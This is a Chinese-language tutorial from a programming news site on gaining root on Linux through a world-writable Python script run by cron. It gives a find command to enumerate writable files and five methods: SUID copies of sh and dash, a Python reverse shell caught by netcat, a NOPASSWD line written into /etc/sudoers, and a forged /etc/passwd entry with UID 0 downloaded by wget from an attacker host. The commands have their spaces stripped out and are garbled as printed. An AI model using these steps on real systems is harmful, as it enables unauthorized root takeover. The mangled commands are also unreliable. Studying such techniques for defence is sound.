Linux中怎么通过可写文件获取root权限
Linux中怎么通过可写文件获取root权限,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
首先,我们来启动我们的攻击机并渗透进目标系统直至提权阶段。这里假设我通过ssh成功登录到了受害者机器,并访问了非root用户的终端。通过以下命令,我们可以枚举所有具有可写权限的二进制文件。
find/-writable-typef2>/dev/null|grep-v"/proc/"
可以看到在/lib/log路径下有一个python文件,我们进入到该目录并查看该文件的权限为777
通过cat命令查看该文件内容,这是管理员添加的一个用来清除 /tmp中的所有垃圾文件的脚本,具体执行取决于管理员设置的定时间隔。获取了这些信息后,攻击者可以通过以下方式来执行提权操作。
方法1
我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:
os.system('cp/bin/sh/tmp/sh') os.system('chmodu+s/tmp/sh')
一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限。
cd/tmp ls ./sh id whoami
下图可以说明一切!
方法2
同样,你也可以将“rm -r /tmp/*”替换为以下内容:
os.system(‘chmodu+s/bin/dash)
一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。
/bin/dash id whoami
如下图所示:
方法3
在这种方法中,我们在rm -r /tmp/*的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。
如上所述,经过一段时间后,我们通过netcat获取了具有root访问权限的反向shell。
nc-lvp1234 id whoami
如下图所示:
方法4
这个方法挺有意思的,在下图中大家可以看到我当前的用户是没有执行sudo命令的权限的。那我们就想办法让自己成为suoders文件成员。
同样,我们将“rm -r /tmp/*”替换为以下内容:
os.system('echo"wernerbrandesALL=(ALL)NOPASSWD:ALL">/etc/sudoers')
过一段时间后,当你输入“sudo -l”命令时,你会注意到,它已成为了sudo用户的成员。此时我们只要输入“sudo bash”就可以获取root访问权限。
sudo-l sudobash id
方法5
我们知道passwd在任何类linux的系统中都扮演着非常重要的角色,一旦攻击者有机会可以修改此文件,那么它将会成为一种特权提升的动态方式。
同样,我们也不会忽视这一点,使用cat命令读取etc/passwd文件。
在这里你可以观察到用户名为nemo记录的高亮条目,根据我的猜测UID:1000 & GID:1000表示它应该是管理员组的成员。
但我们的目标是通过编辑nemo记录,使其成为root组的成员。因此,我们选择并复制etc/passwd文件内的所有记录,然后将它粘贴到一个空的文本文件中。
然后在一个新的终端中使用openssl生成一个加盐密码并复制。
opensslpasswd-1-saltabc123
现在将上面复制的加盐密码粘贴至用户nemo记录条目中的“X”处,并且将UID&GID更改为0,如图所示。操作完成后,将文本文件保存为“passwd”,将该文件传输至目标系统,它将覆盖原始passwd文件的内容。
cdDesktop python-mSimpleHTTPServer80
同样,将“rm -r /tmp/*”替换为以下内容:
os.system(‘chmodu+s/bin/cp)
一段时间后,它会启用/bin/cp的SUID位以复制任意文件。
现在将被你修改过的passwd文件下载至目标系统的/tmp目录中。让我们来检查一下/bin/cp是否启用了SUID位,然后使用cp命令将修改的passwd文件复制到/etc/passwd中,这将覆盖原始passwd文件的内容。
cd/tmp wgethttp://192.168.1.103/passwd ls-al/bin/cp cppasswd/etc/passwd
现在,我们键入以下命令查看修改内容是否已在passwd文件中生效。
tail/etc/passwd
可以看到修改内容已成功写入!
执行以下命令获取root访问权限:
sunemo password123 whoami
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注恰卡编程网行业资讯频道,感谢您对恰卡编程网的支持。
推荐阅读
-
linux Centos如何安装PHP7
linuxCentos如何安装PHP7今天小编给大家分享一下li...
-
干了10多年的php,还不会安装,是不是丢人
-
Linux编程的十大代码编辑器新鲜出炉,你用的入榜单了吗?
-
从7到8,CentOS又更新了什么
-
PHP程序员的技术成长规划-基础阶段篇
-
Linux curl命令
Linuxcurl命令是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但...
-
CentOS和RedHat下8个最常用的YUM库
-
Linux系列之CentOS+Nginx+PHP+MySQL
-
3分钟短文:Laravel写个命令行,你就是下一个Geek
-
是时候深入了解Linux的系统结构了
什么是Linux?如果你以前从未接触过Linux,可能就不清楚为什么会有这么多不同的Linux发行版。在查看Linux...